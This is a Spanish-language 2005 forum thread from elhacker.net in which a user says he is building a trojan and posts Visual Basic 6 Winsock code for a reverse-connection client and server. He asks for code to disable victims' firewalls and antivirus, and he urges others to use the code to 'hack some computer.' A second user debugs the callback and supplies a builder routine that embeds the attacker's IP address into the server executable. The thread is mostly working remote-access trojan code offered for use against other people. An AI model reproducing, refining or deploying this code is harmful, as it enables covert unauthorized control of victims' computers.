elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
17 Mayo 2012, 07:48  


Tema destacado: Sigue las noticias más importantes de elhacker.net en ttwitter!

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Análisis y Diseño de Malware (Moderadores: Karcrack, [Zero])
| | |-+  AYUDA CON LA CONEXION INVERSA
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: AYUDA CON LA CONEXION INVERSA  (Leído 545 veces)
Dark_Knight

Desconectado Desconectado

Mensajes: 98



Ver Perfil
AYUDA CON LA CONEXION INVERSA
« en: 8 Octubre 2005, 04:50 »

Hola

Hola

Espero alguien me pueda ayudar... estoy haciendo un troyano... pero yo lo hice con el codigo de conexion inversa  que esta en la pagina del Reydelmundo11 , el problema es que cuando inicio el cliente y el server en mi computadora... si funciona... pero cuando mande el server a la computadora de otra persona, el server si funciono sin problemas... pero cuando inicie el cliente en mi computadora para comenzar la conexion... no se pudo conectar...  ???  :-\ .... talvez sea porque el firewall de la otra persona estuvo deteniendo la conexion y por eso no funciono...aunque encontre un codigo que se supone deshabilita el antivirus y el firewall... pero no funciono.... alguien conoce un codigo para desactivar el firewall y el antivirus que funcione... y alguien me podria decir si el codigo de conexion inversa funciona ó seria mejor que pusiera la conexion de forma normal.. que el cliente se conecte al server ó seria mejor que busque otra forma de conexion inversa... por ejemplo con no-ip.. el problema es que yo no quiero usar programas extras como el no-ip .. pero si lo tengo que hacer, entonces ni modo  :P

Espero alguien me pueda ayudar...GRACIAS  ;D

P.D.. Si alguien hace la prueba de usar el codigo para su troyano y les funciona... PORFAVOR.. DIGANME SI LES FUNCIONO.. y si no les funciona.. TAMBIEN AVISENME...PORFAVOR..   ;D  ;D


EN EL CLIENTE COLOCAR DOS TEXT Y EL WINSOCK (YO ESTOY USANDO LOS MODULOS DE WINSOCK...)

EN EL SERVER PONER DOS TEXT, UN TIMER Y EL WINSOCK

Código:
[/

CLIENTE

Dim datos As String 'Creamos una variable para almacenar los datos que se reciban
Private Sub Form_Load()
txtLogs.Text = ""    'Borramos contenido..
txtEnviar.Text = ""  '...
wskCliente.LocalPort = 666 'Especificamos el puerto para escuchar
wskCliente.Listen 'Ponemos en escucha el winsux, para poder esperar la conexion con el servidor
txtLogs.Text = txtLogs.Text & "Esperando conexion... " & Time & vbCrLf
End Sub

Private Sub wskCliente_Close()
txtLogs.Text = txtLogs.Text & "se perdio la conexion " & Time & vbCrLf 'Si se cierra la conexion el txtlogs lo mostrara textualmente
wskCliente.Close 'Cerramos el sock
wskCliente.Listen 'Ponemos otra vez en escucha
txtEnviar.Enabled = False
End Sub

Private Sub wskCliente_ConnectionRequest(ByVal requestID As Long)
wskCliente.Close 'En caso de que se pida conexion, se cierra el winsock para evitar errores
wskCliente.Accept requestID 'aceptamos y pedimos el id ....
txtLogs.Text = txtLogs.Text & "conexion establecida " & Time & vbCrLf 'Muestra si se ha conectado
txtEnviar.Enabled = True
End Sub

Private Sub wskCliente_DataArrival(ByVal bytesTotal As Long)
wskCliente.GetData datos 'Cuando llegan strings los guardamos en esta variable
txtLogs.Text = txtLogs.Text & "Server: " & datos & " " & Time & vbCrLf 'ponemos en el txtlogs lo que llegue
datos = "" 'borramos el contenido de datos, porque si llega otra se suman las dos strings (ej. 1- borrar, 2-cambiar = borrarcambiar)
End Sub

Private Sub wskCliente_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
wskCliente.Close
wskCliente.Listen 'Si por alguna extraña razon (xD) hay un error cerramos y volvemos a escuchar
End Sub

Private Sub txtEnviar_KeyPress(KeyAscii As Integer)
Select Case KeyAscii   'seleccionamos el tipo de caso
Case 13                'si presionan la tecla enter hace lo que dice abajo
wskCliente.SendData txtEnviar 'Enviamos los datos del textbox de abajo
txtLogs.Text = txtLogs.Text & "Client: " & txtEnviar.Text & " " & Time & vbCrLf
txtEnviar.Text = ""
End Select 'termina de seleccionar el caso keyascii
End Sub

SERVER

Dim datos As String 'Creamos una variable para almacenar los datos que vengan del cliente
Private Sub Form_Load()
txtLogs.Text = ""
txtEnviar.Text = ""     'Borramos el contenido de texbox y le ponemos tiempo al timer
Timer1.Interval = 2000
End Sub

Private Sub Timer1_Timer()
On Error GoTo Error 'Si hay un error va a error...
txtLogs.Text = txtLogs.Text & "Enviando peticion de conexion a 127.0.0.1 ... " & Time & vbCrLf 'Aqui se indica graficamente que se esta haciendo
wskServidor.Connect "127.0.0.1", 666 'El codigo indica que wsk... se tiene que conectar a 127.0.0.1 y al puerto 666
Error:
Exit Sub     'si hay error en la conexion sale del sub y pasan dos segundos para que se repita todo
End Sub

Private Sub txtEnviar_KeyPress(KeyAscii As Integer)
Select Case KeyAscii   'seleccionamos el tipo de caso
Case 13                'si presionan la tecla enter hace lo que dice abajo
wskServidor.SendData txtEnviar 'Enviamos los datos del textbox de abajo
txtLogs.Text = txtLogs.Text & "Server: " & txtEnviar.Text & " " & Time & vbCrLf
txtEnviar.Text = ""
End Select 'termina de seleccionar el caso keyascii
End Sub

Private Sub wskServidor_Close()
txtLogs.Text = txtLogs.Text & "Conexion finalizada " & Time & vbCrLf 'nos dice que ya se acabo la conexion
txtEnviar.Enabled = False 'Se hace esto para que no envie nada mientras el winsock no este conectado
Timer1.Enabled = True 'volvemos a intentar la conexion
wskServidor.Close 'se cierra para prevenir errores
End Sub 'termina el sub

Private Sub wskServidor_Connect()
Timer1.Enabled = False 'Si se conecta termina con el proceso del timer
txtLogs.Text = txtLogs.Text & "Conexion establecida con 127.0.0.1 " & Time & vbCrLf 'nos muestra que hay una conexion
txtEnviar.Enabled = True 'activa el textbox
End Sub

Private Sub wskServidor_DataArrival(ByVal bytesTotal As Long)
wskServidor.GetData datos 'en la variable previamente creada almacenamos lo que llegue
txtLogs.Text = txtLogs.Text & "Client: " & datos & " " & Time & vbCrLf 'muestra los datos recividos
datos = ""
End Sub

Private Sub wskServidor_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
txtLogs.Text = txtLogs.Text & "No se logro conectar al host " & Time & vbCrLf 'nos dice que no se logro conectar
wskServidor.Close 'cierra el winsock para volver a intentar
End Sub

]
En línea

El hombre no puede crear nada sin antes dar algo a cambio... para crear... algo del mismo valor debe perderse.... esa es la ley de la equivalencia de intercambio... y el que desafie esa ley se convertira en un desafio de las creencias del ser humano y de la existencia de dios....
Simbelmynë


Desconectado Desconectado

Mensajes: 856



Ver Perfil WWW
Re: AYUDA CON LA CONEXION INVERSA
« Respuesta #1 en: 8 Octubre 2005, 05:06 »

En el codigo del server, pones algo asi:

Citar
wskServidor.Connect "127.0.0.1", 666 'El codigo indica que wsk... se tiene que conectar a 127.0.0.1 y al puerto 666

Es decir que este donde este el server va a querer una conexion con localhost, en pocas palabras: te funciona de forma local porque el servidor va a apuntar a tu localhost que esta esperando conexiones y conectara sin problemas, pero cuando lo instalas en otro pc, el server intenta conectar al localhost de ese ordenador... y no a tu IP...
Te recomendaria que te hagas un editor para agregar al server el IP donde quieras que conecte el server una vez instalado, luego podria recoger esos datos en la carga del server y depositarlos en una variable que sea llamada por tu winsock a la hora de intentar conectarse...
Por ejemplo:
en el form_load:

Citar
dim variable as string
open app.path & "\" app.exename & ".exe" for binary as #1
get #1, LOF(1) - 20, variable
close #1
variable = Ltrim(variable)

y luego si en el timer:

Citar
wskServidor.Connect variable, 666

Y la rutina del editor algo asi:
En un command button:

Citar
dim variable as string * 20
variable = text1.text
open app.path & "\" & app.exename & ".exe" for binary as #1
put #1, LOF(1) +1, variable
close #1

Suponiendo que ingresas un IP en un text box...

Bueno, espero que sea eso el problema y puedas mejorarla y porque no largar una version para el publico ;)
Saludos!
« Última modificación: 8 Octubre 2005, 05:11 por HypNosS » En línea

Dark_Knight

Desconectado Desconectado

Mensajes: 98



Ver Perfil
Re: AYUDA CON LA CONEXION INVERSA
« Respuesta #2 en: 8 Octubre 2005, 07:50 »

Hola

HypNosS gracias... pero no se si pensaste que en la conexion lo utilizo como lo puse en el codigo....
Código:
wskServidor.Connect "127.0.0.1", 666 'El codigo indica que wsk... se tiene que conectar a 127.0.0.1 y al puerto 666

Porque no lo hago asi... lo que hago es ponerlo de esta forma
wskServidor.Connect "localhost", 666 'En localhost pongo el IP de mi computadora ó mi localhost (en este momento estoy usando mi localhost porque como la IP cambia, a menos que tenga una IP fija)

Creen que aun asi ese sea el problema... o que debo cambiar y en vez de poner mi localhost debo poner mi IP.
En línea

El hombre no puede crear nada sin antes dar algo a cambio... para crear... algo del mismo valor debe perderse.... esa es la ley de la equivalencia de intercambio... y el que desafie esa ley se convertira en un desafio de las creencias del ser humano y de la existencia de dios....
Dark_Knight

Desconectado Desconectado

Mensajes: 98



Ver Perfil
Re: AYUDA CON LA CONEXION INVERSA
« Respuesta #3 en: 9 Octubre 2005, 00:31 »

HOLA

PORFAVOR... ALGUIEN HAGA EL INTENTO DE UTILIZAR EL CODIGO QUE PUSE DE CONEXION INVERSA E INTENTEN HACKER ALGUNA COMPUTADORA Y DIGANME SI LES FUNCIONO... SINO PARA EMPEZAR A BUSCAR OTRA FORMA DE CONEXION INVERSA Ó UTILIZAR LA CONEXION NORMAL.... Ó SI ALGUIEN SABE CUAL ES EL PROBLEMA DE PORQUE NO PUEDO HACER LA CONEXION DIGANME...

GRACIAS...  ;D  ;D
En línea

El hombre no puede crear nada sin antes dar algo a cambio... para crear... algo del mismo valor debe perderse.... esa es la ley de la equivalencia de intercambio... y el que desafie esa ley se convertira en un desafio de las creencias del ser humano y de la existencia de dios....
Simbelmynë


Desconectado Desconectado

Mensajes: 856



Ver Perfil WWW
Re: AYUDA CON LA CONEXION INVERSA
« Respuesta #4 en: 9 Octubre 2005, 17:38 »

No Dark_Knight
Es que estas cayendo en un error de conceptos, el ip 127.0.0.1 no existe tecnicamente hablando, es decir no es tu IP real, por poner un ejemplo, mi localhost es el mismo que el tuyo y si tu server estuviese instalado en mi maquina, jamas buscaria conectarse con vos, sino con MI localhost... Para solucionar el problema de los IP dinamicos muchos utilizamos los servicios de no-ip entre otros, pero haceme caso y trata de probar dirigiendo el trafico a tu ip publica...
Saludos

Otra cosa: en caso que yo haya entendido mal y me quieras decir que "localhost" es una variable, entonces quitale las comillas, porque sino es tomado como cadena de texto y desde luego no funcionara...
En línea

Dark_Knight

Desconectado Desconectado

Mensajes: 98



Ver Perfil
Re: AYUDA CON LA CONEXION INVERSA
« Respuesta #5 en: 14 Octubre 2005, 06:28 »

HOLA

Creo que ya entendi.... lo que debo hacer es que en vez de poner mi localhost debo poner mi IP dinamica ... por ejemplo supongamos que mi computadora tiene como nombre ó localhost "ayuda"  entonces si yo al colocar :

wskServidor.connect "ayuda", 666

Esto no funcionaria porque intentaria el server buscar el localhost pero en la maquina remota en vez de mi computadora..... pero si yo lo coloco de esta forma... supongamos que mi IP dinamica en este momento esta asi ... 200.64.09.100.... entonces:

wskServidor.connect  "200.64.09.100" , 666

Esta seria la forma que si funcionaria, porque el server buscaria la IP dinamica... y se lograria hacer la conexion..  ;D  ;D

Espero que sea eso ó talvez es por las comillas.... voy hacer el intento otra vez... pero si es estoy en lo correcto les agradeceria que me dijeran... ó si estoy mal tambien diganme.


GRACIAS HypNosS   ;D
En línea

El hombre no puede crear nada sin antes dar algo a cambio... para crear... algo del mismo valor debe perderse.... esa es la ley de la equivalencia de intercambio... y el que desafie esa ley se convertira en un desafio de las creencias del ser humano y de la existencia de dios....
Simbelmynë


Desconectado Desconectado

Mensajes: 856



Ver Perfil WWW
Re: AYUDA CON LA CONEXION INVERSA
« Respuesta #6 en: 14 Octubre 2005, 17:44 »

Bien! Me entrendiste veo :D
Bueno te quedaria probar solamente y si no va avisas a ver si te podemos dar una mano...
Suerte!
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines